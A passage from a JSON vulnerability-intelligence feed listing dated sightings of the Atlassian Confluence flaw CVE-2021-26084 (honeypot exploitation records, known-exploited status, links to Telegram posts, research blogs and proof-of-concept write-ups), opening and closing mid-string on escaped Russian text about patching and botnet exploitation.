\u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u0441\u0432\u043e\u0435\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0442\u044c \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u043f\u0440\u0438 \u044d\u0442\u043e\u043c \u0432 \u043f\u0435\u0440\u0432\u0443\u044e \u043e\u0447\u0435\u0440\u0435\u0434\u044c \u0443\u0434\u0435\u043b\u044f\u0442\u044c \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044e \u0438\u043c\u0435\u043d\u043d\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u0432 \u0434\u0430\u043d\u043d\u044b\u0445 \u0441\u043f\u0438\u0441\u043a\u0430\u0445. \u0421\u0441\u044b\u043b\u043a\u0438 \u043d\u0430 \u0430\u043a\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u0435 \u043f\u0430\u0442\u0447\u0438 \u0442\u0430\u043a\u0436\u0435 \u043f\u0440\u0438\u0432\u043e\u0434\u044f\u0442\u0441\u044f.\n\n\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a: https://www.cisa.gov/uscert/ncas/alerts/aa22-117a", "url": "https://t.me/EchelonEyes/232"}, {"timestamp": "2026-07-17T10:15:06.554Z", "date_only": false, "value": "2026-07-17T10:15:06.554392Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-07-16)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "73a8d705-3cdc-4fb5-8ddc-1cb5b8327c93"}, {"timestamp": "2026-07-19T10:00:05.322Z", "date_only": false, "value": "2026-07-19T10:00:05.322674Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-07-18)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "d3b431c0-7d90-4d38-9811-8bbf33c530b3"}, {"timestamp": "2026-07-20T00:00:00Z", "date_only": false, "value": "2026-07-20T00:00:00+00:00", "kind": "kev", "label": "Last seen", "source": "shadowserver", "record": "CVE-2021-26084", "field": "timestamps.last_seen_at", "uuid": "cc0e2214-e7e0-4c19-af27-4b813a1f7a83", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2026-07-20T00:00:00Z", "date_only": true, "value": "2026-07-20", "kind": "kev", "label": "Observation date", "source": "shadowserver", "record": "CVE-2021-26084", "field": "evidence.0.details.observation_date", "uuid": "cc0e2214-e7e0-4c19-af27-4b813a1f7a83", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2026-07-20T00:00:00Z", "date_only": false, "value": "2026-07-20T00:00:00+00:00", "kind": "kev", "label": "Status updated", "source": "shadowserver", "record": "CVE-2021-26084", "field": "status.status_updated_at", "uuid": "cc0e2214-e7e0-4c19-af27-4b813a1f7a83", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2026-07-22T01:00:01Z", "date_only": false, "value": "2026-07-22T01:00:01+00:00", "kind": "kev", "label": "Recorded", "source": "shadowserver", "record": "CVE-2021-26084", "field": "timestamps.recorded_at", "uuid": "cc0e2214-e7e0-4c19-af27-4b813a1f7a83", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2026-07-23T10:15:08.480Z", "date_only": false, "value": "2026-07-23T10:15:08.480991Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-07-22)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "ad68b457-8a5e-4b48-9ef6-430ce322c55b"}, {"timestamp": "2026-07-24T10:15:10.454Z", "date_only": false, "value": "2026-07-24T10:15:10.454538Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-07-23)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "e2038031-a290-442a-8f74-116fb7e65ac5"}, {"timestamp": "2026-07-25T10:15:16.196Z", "date_only": false, "value": "2026-07-25T10:15:16.196232Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-07-24)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "e0b8bd33-89b4-449d-b5aa-9d45a0b3d296"}, {"timestamp": "2026-07-26T10:00:07.539Z", "date_only": false, "value": "2026-07-26T10:00:07.539824Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-07-25)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "8a264f3c-0ffc-4d54-9364-31e34517e9a3"}, {"timestamp": "2026-07-27T10:15:08.693Z", "date_only": false, "value": "2026-07-27T10:15:08.693250Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-07-26)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "d7b6e88c-fea6-4d9f-93c1-b26303349d2b"}, {"timestamp": "2026-07-28T10:00:05.496Z", "date_only": false, "value": "2026-07-28T10:00:05.496203Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-07-27)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "b5d75b7d-3d6c-4cb6-8b97-4b8e95f854c8"}, {"timestamp": "2026-07-28T10:15:23.081Z", "date_only": false, "value": "2026-07-28T10:15:23.081871Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-07-27)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "bd41ebfd-2cca-4b4d-bd58-97cbd67b613d"}, {"timestamp": "2026-07-29T10:15:10.070Z", "date_only": false, "value": "2026-07-29T10:15:10.070870Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-07-28)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "108f41d1-d0fc-4550-9f73-b6871bba1352"}, {"timestamp": "2026-07-29T12:01:08.870Z", "date_only": false, "value": "2026-07-29T12:01:08.870205Z", "kind": "sighting", "label": "Seen", "source": "Telegram/E6TsDFwuIV4q5dm9ZDAUwT2-iEx5stuBZuCWveGxXx-kCy0", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "81d6eca6-de92-4f78-a650-ed90d5f1368d"}, {"timestamp": "2026-07-29T12:02:53.270Z", "date_only": false, "value": "2026-07-29T12:02:53.270025Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/reverseame/1661", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "7c0f3d7b-037c-43a7-9c11-0566575ecd35", "content": "Cryptominer z0Miner Uses Newly Discovered Vulnerability CVE-2021-26084 to Its Advantage https://www.trendmicro.com/en_us/research/21/i/cryptominer-z0miner-uses-newly-discovered-vulnerability-cve-2021.html", "url": "https://t.me/reverseame/1661"}, {"timestamp": "2026-07-29T12:02:53.421Z", "date_only": false, "value": "2026-07-29T12:02:53.421751Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/reverseame/1640", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "37b51115-4632-4db3-9d49-6b8dfdb304d4", "content": "CVE-2021-26084: Details on the Recently Exploited Atlassian Confluence OGNL Injection Bug https://www.zerodayinitiative.com/blog/2021/9/21/cve-2021-26084-details-on-the-recently-exploited-atlassian-confluence-ognl-injection-bug", "url": "https://t.me/reverseame/1640"}, {"timestamp": "2026-07-29T12:02:53.701Z", "date_only": false, "value": "2026-07-29T12:02:53.701566Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/reverseame/1612", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "f60c1ae7-ed6d-4c28-8139-d8571c17b28b", "content": "Muhstik Takes Aim at Confluence CVE 2021-26084 https://www.lacework.com/blog/muhstik-takes-aim-at-confluence-cve-2021-26084/", "url": "https://t.me/reverseame/1612"}, {"timestamp": "2026-07-29T12:02:53.993Z", "date_only": false, "value": "2026-07-29T12:02:53.993721Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/reverseame/1578", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "647f9fb7-617e-46ef-8fe1-4762e533af5c", "content": "[Atlassian Confluence CVE-2021\u201326084]::: The other side of bug report! https://tradahacking.vn/atlassian-confluence-cve-2021-26084-the-other-side-of-bug-bounty-45ed19c814f6", "url": "https://t.me/reverseame/1578"}, {"timestamp": "2026-07-29T12:02:54.270Z", "date_only": false, "value": "2026-07-29T12:02:54.270834Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/reverseame/1571", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "f12f7d74-4b27-41c9-96b8-91085b430578", "content": "CVE-2021-26084 Remote Code Execution on Confluence Servers https://github.com/httpvoid/writeups/blob/main/Confluence-RCE.md", "url": "https://t.me/reverseame/1571"}, {"timestamp": "2026-07-30T10:15:05.884Z", "date_only": false, "value": "2026-07-30T10:15:05.884919Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-07-29)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "a52f061a-a9a0-4af5-911b-5ba6ffa50398"}, {"timestamp": "2026-07-31T10:15:11.353Z", "date_only": false, "value": "2026-07-31T10:15:11.353225Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-07-30)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "253c7289-4782-43d2-a82e-c4d8ae85de22"}, {"timestamp": "2026-08-01T09:00:05.716Z", "date_only": false, "value": "2026-08-01T09:00:05.716213Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/E6TsDFwuIV4q5dm9ZDAUwT2-iEx5stuBZuCWveGxXx-kCy0", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "178bad8b-e6be-4fbf-9c07-4608be22b4ca"}, {"timestamp": "2026-08-01T10:00:07.404Z", "date_only": false, "value": "2026-08-01T10:00:07.404537Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-07-31)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "e5aad9b3-1590-49dc-905b-f38344bc0b4d"}, {"timestamp": "2026-08-02T10:30:51.272Z", "date_only": false, "value": "2026-08-02T10:30:51.272146Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-08-01)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "084ab5a0-97cb-41e5-b574-134661eca693"}, {"timestamp": "2026-08-03T06:00:02.938Z", "date_only": false, "value": "2026-08-03T06:00:02.938696Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/reverseame/1612", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "8c064b28-4c86-46f9-8675-afb0068a10b8", "content": "Muhstik Takes Aim at Confluence CVE 2021-26084 https://www.lacework.com/blog/muhstik-takes-aim-at-confluence-cve-2021-26084/", "url": "https://t.me/reverseame/1612"}, {"timestamp": "2026-08-03T06:06:33.312Z", "date_only": false, "value": "2026-08-03T06:06:33.312540Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/reverseame/1640", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "f874e39f-6bdf-4807-abc2-4dae7ef4e89a", "content": "CVE-2021-26084: Details on the Recently Exploited Atlassian Confluence OGNL Injection Bug https://www.zerodayinitiative.com/blog/2021/9/21/cve-2021-26084-details-on-the-recently-exploited-atlassian-confluence-ognl-injection-bug", "url": "https://t.me/reverseame/1640"}, {"timestamp": "2026-08-03T06:06:33.550Z", "date_only": false, "value": "2026-08-03T06:06:33.550846Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/reverseame/1661", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "f8634d93-8059-4241-ac18-b9a438ef4440", "content": "Cryptominer z0Miner Uses Newly Discovered Vulnerability CVE-2021-26084 to Its Advantage https://www.trendmicro.com/en_us/research/21/i/cryptominer-z0miner-uses-newly-discovered-vulnerability-cve-2021.html", "url": "https://t.me/reverseame/1661"}, {"timestamp": "2026-08-03T07:04:24.438Z", "date_only": false, "value": "2026-08-03T07:04:24.438661Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/reverseame/1571", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "82592df1-cf6d-4ac8-a045-6b4677c56d18", "content": "CVE-2021-26084 Remote Code Execution on Confluence Servers https://github.com/httpvoid/writeups/blob/main/Confluence-RCE.md", "url": "https://t.me/reverseame/1571"}, {"timestamp": "2026-08-03T08:00:06.017Z", "date_only": false, "value": "2026-08-03T08:00:06.017407Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/reverseame/1578", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "e5ae484a-4b73-4829-812d-3ccb7066ab1e", "content": "[Atlassian Confluence CVE-2021\u201326084]::: The other side of bug report! https://tradahacking.vn/atlassian-confluence-cve-2021-26084-the-other-side-of-bug-bounty-45ed19c814f6", "url": "https://t.me/reverseame/1578"}, {"timestamp": "2026-08-05T10:00:07.285Z", "date_only": false, "value": "2026-08-05T10:00:07.285483Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-08-04)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "4998f675-bbfe-40f2-87f1-33adbeb4a442"}, {"timestamp": "2026-08-06T10:15:09.206Z", "date_only": false, "value": "2026-08-06T10:15:09.206016Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-08-05)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "0c308201-a430-40aa-b711-3598d7d76bde"}, {"timestamp": "2026-08-07T10:43:03.272Z", "date_only": false, "value": "2026-08-07T10:43:03.272837Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-08-06)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "dfee91a1-a631-4e31-9cc9-9ff919ea2792"}, {"timestamp": "2026-08-08T11:03:03.115Z", "date_only": false, "value": "2026-08-08T11:03:03.115565Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-08-07)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "d47bd642-c5f2-4610-b136-67a94eb836df"}, {"timestamp": "2026-08-09T05:02:32.897Z", "date_only": false, "value": "2026-08-09T05:02:32.897802Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/onelab1337/1536", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "d132baf0-22bb-4be3-b03b-64797b3ee347", "content": "\u25a0\u25a0\u25a0\u25a0\u25a0 CVE-2021-26084 Remote Code Execution on Confluence Servers.\n\nhttps://github.com/httpvoid/writeups/blob/main/Confluence-RCE.md", "url": "https://t.me/onelab1337/1536"}, {"timestamp": "2026-08-09T05:02:32.939Z", "date_only": false, "value": "2026-08-09T05:02:32.939174Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/onelab1337/1539", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "a2596ada-37a2-4b65-bf18-2a027cc46c88", "content": "Confluence server exploit CVE-2021-26084\n\nhttps://youtu.be/yMLoIJVz0YI", "url": "https://t.me/onelab1337/1539"}, {"timestamp": "2026-08-10T00:00:10.833Z", "date_only": false, "value": "2026-08-10T00:00:10.833417Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/onelab1337/1539", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "33885186-ef5c-4bbf-b735-0f3a2c297789", "content": "Confluence server exploit CVE-2021-26084\n\nhttps://youtu.be/yMLoIJVz0YI", "url": "https://t.me/onelab1337/1539"}, {"timestamp": "2026-08-10T01:00:14.169Z", "date_only": false, "value": "2026-08-10T01:00:14.169745Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/onelab1337/1536", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "11c520b1-3a50-438f-8d53-f6a5ff7e58f2", "content": "\u25a0\u25a0\u25a0\u25a0\u25a0 CVE-2021-26084 Remote Code Execution on Confluence Servers.\n\nhttps://github.com/httpvoid/writeups/blob/main/Confluence-RCE.md", "url": "https://t.me/onelab1337/1536"}, {"timestamp": "2026-08-11T10:15:14.231Z", "date_only": false, "value": "2026-08-11T10:15:14.231026Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-08-10)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "6aff27c4-450e-4a75-8cca-19a0bf969b81"}, {"timestamp": "2026-08-12T10:15:09.076Z", "date_only": false, "value": "2026-08-12T10:15:09.076979Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-08-11)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "8563d484-0fbe-4136-a89d-86b3750bd0a6"}, {"timestamp": "2026-08-12T17:00:04.953Z", "date_only": false, "value": "2026-08-12T17:00:04.953674Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/m7qkCRa7Kbt_Tb_jOgXtKlCWVZEjuXwENztpipkyHph3QcM", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "68784be9-4b2f-41bc-84ee-26535de82de9"}, {"timestamp": "2026-08-15T08:00:11.503Z", "date_only": false, "value": "2026-08-15T08:00:11.503571Z", "kind": "sighting", "label": "Seen", "source": "Telegram/yc_0VTiHRZNULRlrkC6S6-5fXabNbw6I__oUW5X4PhdAbtE", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "46188bf5-9c6f-4060-a20c-bbe190586fc5"}, {"timestamp": "2026-08-15T10:15:07.951Z", "date_only": false, "value": "2026-08-15T10:15:07.951895Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-08-14)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "7b655044-f929-4dd6-a4f5-9f991c7719c4"}, {"timestamp": "2026-08-16T00:00:11.687Z", "date_only": false, "value": "2026-08-16T00:00:11.687650Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/yc_0VTiHRZNULRlrkC6S6-5fXabNbw6I__oUW5X4PhdAbtE", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "b0116b38-0b0b-4334-8670-710b6bcaf480"}, {"timestamp": "2026-08-16T10:15:07.632Z", "date_only": false, "value": "2026-08-16T10:15:07.632677Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-08-15)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "13e9755f-304d-4848-9075-f2f86a16b3d4"}, {"timestamp": "2026-08-16T19:00:05.259Z", "date_only": false, "value": "2026-08-16T19:00:05.259606Z", "kind": "sighting", "label": "Seen", "source": "Telegram/0nA6vCcpKcIGVndYlk8xyJUcQFf0ogXMskF8tiRMNWLt9r4", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "dde2cb88-8cf0-4ee0-bc29-3ff59dffe768"}, {"timestamp": "2026-08-16T19:00:05.476Z", "date_only": false, "value": "2026-08-16T19:00:05.476562Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/burpsuite/60815", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "4efd870e-5992-46f7-93b2-6ebc47a6e02f", "content": "Confluence server exploit CVE-2021-26084\n\nhttps://youtu.be/yMLoIJVz0YI", "url": "https://t.me/burpsuite/60815"}, {"timestamp": "2026-08-16T19:00:05.706Z", "date_only": false, "value": "2026-08-16T19:00:05.706002Z", "kind": "sighting", "label": "Seen", "source": "Telegram/-gG-gOwmKjCJdKA9y6i9fRvUwRVtF1DcInssyKSE7cVlFpY", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "91d11287-27d7-49d1-91ef-7013777287a4"}, {"timestamp": "2026-08-16T19:00:05.830Z", "date_only": false, "value": "2026-08-16T19:00:05.830113Z", "kind": "sighting", "label": "Seen", "source": "Telegram/66bwLrDGmKfk20ggaElwUj6U9XwWOiwwR1IqLzcicgnxRm0", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "f6117a13-0653-4998-be12-1acc8b9a52bf"}, {"timestamp": "2026-08-17T00:00:09.685Z", "date_only": false, "value": "2026-08-17T00:00:09.685793Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/66bwLrDGmKfk20ggaElwUj6U9XwWOiwwR1IqLzcicgnxRm0", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "ad9a848d-8c0a-4bd0-a70a-4db1ea9785d4"}, {"timestamp": "2026-08-17T00:00:09.814Z", "date_only": false, "value": "2026-08-17T00:00:09.814499Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/-gG-gOwmKjCJdKA9y6i9fRvUwRVtF1DcInssyKSE7cVlFpY", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "43f5deb6-a602-4941-9cff-b1a0f43c2020"}, {"timestamp": "2026-08-17T00:00:10.026Z", "date_only": false, "value": "2026-08-17T00:00:10.026564Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/burpsuite/60815", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "1ea7045d-81a7-47bd-98b5-143664ca698c", "content": "Confluence server exploit CVE-2021-26084\n\nhttps://youtu.be/yMLoIJVz0YI", "url": "https://t.me/burpsuite/60815"}, {"timestamp": "2026-08-17T00:00:10.239Z", "date_only": false, "value": "2026-08-17T00:00:10.239945Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/0nA6vCcpKcIGVndYlk8xyJUcQFf0ogXMskF8tiRMNWLt9r4", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "4bbb597e-0901-4482-acb5-8555bde50311"}, {"timestamp": "2026-08-19T10:00:15.362Z", "date_only": false, "value": "2026-08-19T10:00:15.362473Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-08-18)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "89f56ceb-0f63-4831-affa-9fae0917670f"}, {"timestamp": "2026-08-19T10:15:17.258Z", "date_only": false, "value": "2026-08-19T10:15:17.258336Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-08-18)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "c5c50280-49d4-4f0e-8dfe-56f4d9eb9b01"}, {"timestamp": "2026-08-21T10:15:09.834Z", "date_only": false, "value": "2026-08-21T10:15:09.834476Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-08-20)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "3420443e-0d25-4c62-ad48-f78bb249d8e8"}, {"timestamp": "2026-08-22T10:00:15.028Z", "date_only": false, "value": "2026-08-22T10:00:15.028815Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-08-21)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "18f269b5-0bbf-4e5c-a9ba-40a6ed0dff71"}, {"timestamp": "2026-08-24T10:00:05.411Z", "date_only": false, "value": "2026-08-24T10:00:05.411047Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-08-23)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "cc3a0da2-c750-4a8d-a96e-d22a147ac39e"}, {"timestamp": "2026-08-24T10:15:35.840Z", "date_only": false, "value": "2026-08-24T10:15:35.840501Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-08-23)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "4b42a86f-851e-4f66-a907-85921d8a1903"}, {"timestamp": "2026-08-25T10:15:10.598Z", "date_only": false, "value": "2026-08-25T10:15:10.598568Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-08-24)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "1fc853f0-0e4e-4f3d-b5f9-c29c7319ab4d"}, {"timestamp": "2026-08-27T12:00:06.658Z", "date_only": false, "value": "2026-08-27T12:00:06.658725Z", "kind": "sighting", "label": "Seen", "source": "Telegram/mXwJqGjsLNp0LFwWbXU4h3vA714Oj6yIG5AFZePUNxHCgwE", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "b7edd917-6b36-4364-be4a-33ee8005d3bc"}, {"timestamp": "2026-08-28T10:00:07.788Z", "date_only": false, "value": "2026-08-28T10:00:07.788007Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-08-27)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "0075a61a-abbc-413c-bd78-6b731245a87e"}, {"timestamp": "2026-08-28T10:15:45.213Z", "date_only": false, "value": "2026-08-28T10:15:45.213734Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-08-27)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "e5897c75-9388-4460-b1d4-a21f1c3d1ef5"}, {"timestamp": "2026-08-29T00:00:29.449Z", "date_only": false, "value": "2026-08-29T00:00:29.449883Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/mXwJqGjsLNp0LFwWbXU4h3vA714Oj6yIG5AFZePUNxHCgwE", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "63be3dc1-f928-4b8f-a82d-d43da0323f8b"}, {"timestamp": "2026-08-29T10:15:21.787Z", "date_only": false, "value": "2026-08-29T10:15:21.787410Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-08-28)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "c17e8bcf-381f-42f9-8b8e-35457a4ca55f"}, {"timestamp": "2026-09-01T10:15:08.271Z", "date_only": false, "value": "2026-09-01T10:15:08.271019Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-08-31)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "45639a3f-cb38-46ab-a998-95dc62be26f8"}, {"timestamp": "2026-09-01T17:00:11.086Z", "date_only": false, "value": "2026-09-01T17:00:11.086078Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/Hackme_news/579", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "3a4a0397-5864-4cdd-a865-af717b3fa23c", "content": "\u0411\u043e\u0442\u043d\u0435\u0442\u044b Linux \u0442\u0435\u043f\u0435\u0440\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u043e\u0448\u0438\u0431\u043a\u0443 Atlassian Confluence\n_____________________________\n\n\u0412 \u043d\u0430\u0441\u0442\u043e\u044f\u0449\u0435\u0435 \u0432\u0440\u0435\u043c\u044f \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0431\u043e\u0442\u043d\u0435\u0442\u043e\u0432 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u044b, \u043d\u0430\u0446\u0435\u043b\u0435\u043d\u043d\u044b\u0435 \u043d\u0430 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430 (RCE), \u0434\u043b\u044f \u0437\u0430\u0440\u0430\u0436\u0435\u043d\u0438\u044f \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 Linux, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u044b \u043d\u0435\u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0435 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 Atlassian Confluence Server \u0438 Data Center.\n\n\u0423\u0441\u043f\u0435\u0448\u043d\u043e\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u044d\u0442\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 (\u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u043c\u043e\u0439 \u043a\u0430\u043a CVE-2021-26084) \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 